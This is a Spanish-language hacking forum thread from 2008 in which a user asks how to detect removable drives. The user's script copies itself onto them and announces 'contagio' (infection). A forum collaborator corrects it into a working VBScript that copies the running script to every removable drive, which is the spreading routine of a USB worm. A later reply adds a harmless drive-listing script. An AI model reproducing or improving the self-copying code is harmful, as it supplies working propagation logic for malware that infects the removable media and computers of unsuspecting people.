elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Reconocer unidades extraibles
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Reconocer unidades extraibles  (Leído 3,697 veces)
Enemy

Desconectado Desconectado

Mensajes: 285


Que vuelva el personal de hace 15 años al foro!


Ver Perfil
Reconocer unidades extraibles
« en: 11 Octubre 2008, 16:08 pm »

Buenas tardes, Me pregunto como es el script correcto para reconocer si hay una o unas unidades extraibles como pendrive, hd externos, tarjetas, etc...

he hecho este codigo pero no me funciona.. :

Código:
Dim FSOvar
Dim Uni

Set FSOvar = createobject("scripting.filesystemobject")
Set Uni = FSOvar.drives
For each x in Uni do
L = x.Drivesletter
if L = true then Objfso.copyfile ".\archivo.vbs",&L&":\"
msgBox "contagio en " &L&
exit do
End if
next

Esta bien asi.??  :-\

He intendao varios codigos pero creo que este es el mas estable.. Si funcionara...  :¬¬

Si alguien puede ayudarme se lo agradeceria..



SALUD.O.S


En línea

Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: Reconocer unidades extraibles
« Respuesta #1 en: 11 Octubre 2008, 20:49 pm »

Buenas... he de decir, que tu code necesita muchas mejoras  :P, aquí va...

Código
  1. Set FSOvar = createobject("scripting.filesystemobject")
  2. Set uni = FSOvar.drives
  3.  
  4. For each x in uni
  5. If x.driveletter <> "A" and x.drivetype = 1 then
  6. FSOvar.copyfile wscript.scriptfullname, x.driveletter &":\"
  7. msgbox "contagio en " & x.driveletter
  8. End If
  9. Next
  10.  

En lugar de ultilizar el nombre del script, utilizo wscript.scriptfullname que tiene la ruta completa del script en ejecución.
Y además, en el IF, utilizo drivetype = 1, ya que el tipo de disco 1 es extraíble  :P

Saludos  ;)


En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
washanwer

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Reconocer unidades extraibles
« Respuesta #2 en: 30 Octubre 2008, 21:32 pm »

O tambien puedes usar este, este creara un tmp, donde dira todas la unidades que encuentra..
Código:
On Error Resume Next

Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("Extraible.tmp")
Set objLogFile = objFSO.OpenTextFile("Extraible.tmp", ForAppending, True)

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
    If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
objLogFile.Write( objDisk.DeviceID)
objLogFile.writeline
End If
Next

salu2!
En línea

Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: Reconocer unidades extraibles
« Respuesta #3 en: 30 Octubre 2008, 21:43 pm »

O tambien puedes usar este, este creara un tmp, donde dira todas la unidades que encuentra..
Código
  1. On Error Resume Next
  2.  
  3. Const ForAppending = 8
  4. Set objFSO = CreateObject("Scripting.FileSystemObject")
  5. objFSO.DeleteFile("Extraible.tmp")
  6. Set objLogFile = objFSO.OpenTextFile("Extraible.tmp", ForAppending, True)
  7.  
  8. Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
  9. For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
  10.    If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
  11. objLogFile.Write( objDisk.DeviceID)
  12. objLogFile.writeline
  13. End If
  14. Next

salu2!

Principal desventaja... si estas en una pc sin privilegios, el utilizar el wmi puede dar problemas y puede que no funcione, fuera de eso es muy buena opción ;)

Saludos

En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
manejar unidades extraibles
Programación C/C++
MessageBoxA 2 3,762 Último mensaje 22 Enero 2011, 13:48 pm
por Oblivi0n
4 discos extraibles
Windows
hectorsd87 2 3,370 Último mensaje 21 Febrero 2012, 10:14 am
por hectorsd87
[BATCH] copiar y ocultar virus en unidades extraibles
Scripting
imlikeabird34 9 6,371 Último mensaje 27 Diciembre 2012, 08:56 am
por Eleкtro
El gusano Phorpiex se propaga vía Skype,correo electrónico y unidades extraíbles
Noticias
wolfbcn 0 1,847 Último mensaje 23 Enero 2013, 02:20 am
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines